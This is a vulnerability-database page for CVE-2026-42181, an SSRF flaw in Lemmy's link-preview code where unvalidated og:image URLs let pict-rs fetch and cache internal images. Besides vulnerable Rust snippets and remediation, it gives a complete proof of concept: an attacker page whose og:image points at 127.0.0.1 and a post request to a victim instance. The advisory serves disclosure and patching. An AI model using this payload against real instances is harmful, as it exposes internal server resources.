Loading...
Skip to main content

CVE-2026-42181 — Vulnerability in lemmy_api_common — CVE Details

MEDIUM

Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image

Published April 24, 2026Updated May 13, 2026Source: osv

Summary

### Summary Lemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction. As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users. ### Details The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`. This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource. Core vulnerable code path: ```rust // crates/api_common/src/request.rs let metadata = match &post.url { Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(), _ => Default::default(), }; ``` ```rust // crates/api_common/src/request.rs let og_image = page .opengraph .images .first() .and_then(|ogo| url.join(&ogo.url).ok()); ``` ```rust // crates/api_common/src/request.rs let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) { generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url) } else { image_url.clone() }; ``` ```rust // crates/api_common/src/request.rs let fetch_url = format!( "{}image/download?url={}&resize={}", pictrs_config.url, encode(image_url.as_str()), context.settings().pictrs_config()?.max_thumbnail_size ); ``` These snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard. ### PoC Prerequisites: - The attacker has a valid low-privileged account. - The instance uses the default link preview storage mode. - The attacker can post a link to a community they can access. Practical reproduction flow: 1. Host a public HTML page under attacker control. 2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`. 3. Create a Lemmy post whose `url` is the attacker-controlled page. 4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs. 5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached. Complete PoC attacker page: ```html <html><head> <meta property="og:image" content="http://127.0.0.1:8081/internal.png"> </head><body>x</body></html> ``` Complete PoC request: ```http POST /api/v3/post HTTP/1.1 Host: victim.example Authorization: Bearer <low-priv-jwt> Content-Type: application/json { "name": "thumb-ssrf", "community_id": 1, "url": "https://attacker.example/og.html", "body": null, "alt_text": null, "honeypot": null, "nsfw": false, "language_id": null, "custom_thumbnail": null } ``` Outcome: - The post creation request succeeds. - The internal image endpoint receives a request from the Lemmy server. - The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached. ### Impact This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path. Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.

Advisory Timeline

  • First published April 24, 2026 (171 days ago).
  • Last revised May 13, 2026 — 19 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update lemmy_api_common to 0.19.18 or later
cargo update -p lemmy_api_common --precise 0.19.18

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageEcosystemAffectedFixed In
lemmy_api_common
crates.io
All versions0.19.18

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 6.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-42181?
Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.5/10).
How do I check if my project is affected by CVE-2026-42181?
CVE-2026-42181 affects lemmy_api_common. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42181 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
6.5

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-h6hf-9846-xwrq

Related CVEs

  • CVE-2026-102821
    MEDIUM

    Russh: Unbounded memory exhaustion via CHANNEL_OPEN flood during a client-stalled rekey

  • CVE-2026-42180
    MEDIUM

    Lemmy has SSRF in /api/v3/post via Webmention dispatch

  • CVE-2026-102820
    MEDIUM

    pageant: Out-of-bounds read / oversized allocation in `pageant` MemoryMap::read via a malicious Pageant agent (Windows)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies